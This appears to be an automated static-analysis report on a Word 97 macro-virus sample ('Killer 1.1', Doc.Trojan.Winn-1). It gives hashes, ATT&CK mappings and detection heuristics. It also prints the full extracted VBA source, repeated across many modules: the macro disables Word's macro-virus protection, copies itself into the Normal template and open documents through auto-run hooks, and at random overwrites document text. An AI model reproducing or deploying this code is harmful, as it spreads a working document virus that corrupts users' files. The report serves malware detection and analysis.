Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97889204e8c66c7b…

MALICIOUS

Office (OLE)

749.5 KB Created: 2000-03-28 10:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a1c1ad9e8a02600ae8d362b64b44cc8e SHA-1: 06df26a33084b7ea1a5787871895734453a0a350 SHA-256: 97889204e8c66c7bcba3e7e41a65fe64dc4429f8fe914ea301fd65710b9df8d2
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic macro and VBA macros, including AutoOpen and Auto_Close, which are indicative of malicious intent. The document body repeatedly states 'На кампе обнаружен вирус!!!' (Virus detected on the computer!!!), suggesting a scareware or social engineering tactic. The VBA script attempts to export and import itself, potentially to obfuscate or modify its behavior, and includes a hardcoded path 'c:\windows\winnews.txt' which is included as an IOC.

Heuristics 6

  • ClamAV: Doc.Trojan.Winn-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Winn-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 343243 bytes
SHA-256: 0313d6a463abe216df16f8b329fbb78789696191f4e0fce8f2f00798003d9911
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "killer"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer1"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer2"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer3"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer4"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer5"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer6"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer7"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer8"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer9"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer10"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer11"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call killer
End Sub
Sub AutoOpen()
On Error Resume Next
Call killer
End Sub
Sub AutoClose()
On Error Resume Next
Call killer
End Sub
Sub ToolsMacro()
On Error Resume Next
Call killer
End Sub
Sub ViewVBCode()
On Error Resume Next
Call killer
End Sub
Sub kill()
On Error Resume Next
Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .text = " "
            .Replacement.text = "На кампе обнаружен вирус!!!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Private Sub autonew()
    On Error Resume Next
    Call killer
End Sub

Attribute VB_Name = "killer12"
'Killer 1.1 ©S&L 2000
Const SluzhFile = "c:\windows\winnews.txt"
Sub killer()
    On Error Resume Next
    Randomize
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    NormalTemplate.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.VBProject.VBComponents("killer").Export "c:\windows\winnews.txt"
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.Name = "killer" Or ActiveDocument.VBProject.Name = "killer" Then GoTo out
    NormalTemplate.VBProject.VBComponents.import "c:\windows\winnews.txt"
    NormalTemplate.VBProject.Name = "killer"
    ActiveDocument.VBProject.VBComponents.import "c:\windows\winnews.txt"
    ActiveDocument.VBProject.Name = "killer"
out:
    Dim c As Integer
    c = Int(Rnd * 50)
    If c = 35 Then Call kill
End Sub

Sub HelpAbout()
On Error Resume Next
Call killer
End Sub
Sub FileSave()
On Error Resume Next
Call killer
ActiveDocument.Save
End Sub
…

Open this report in the interactive analyzer, or submit your own file for analysis.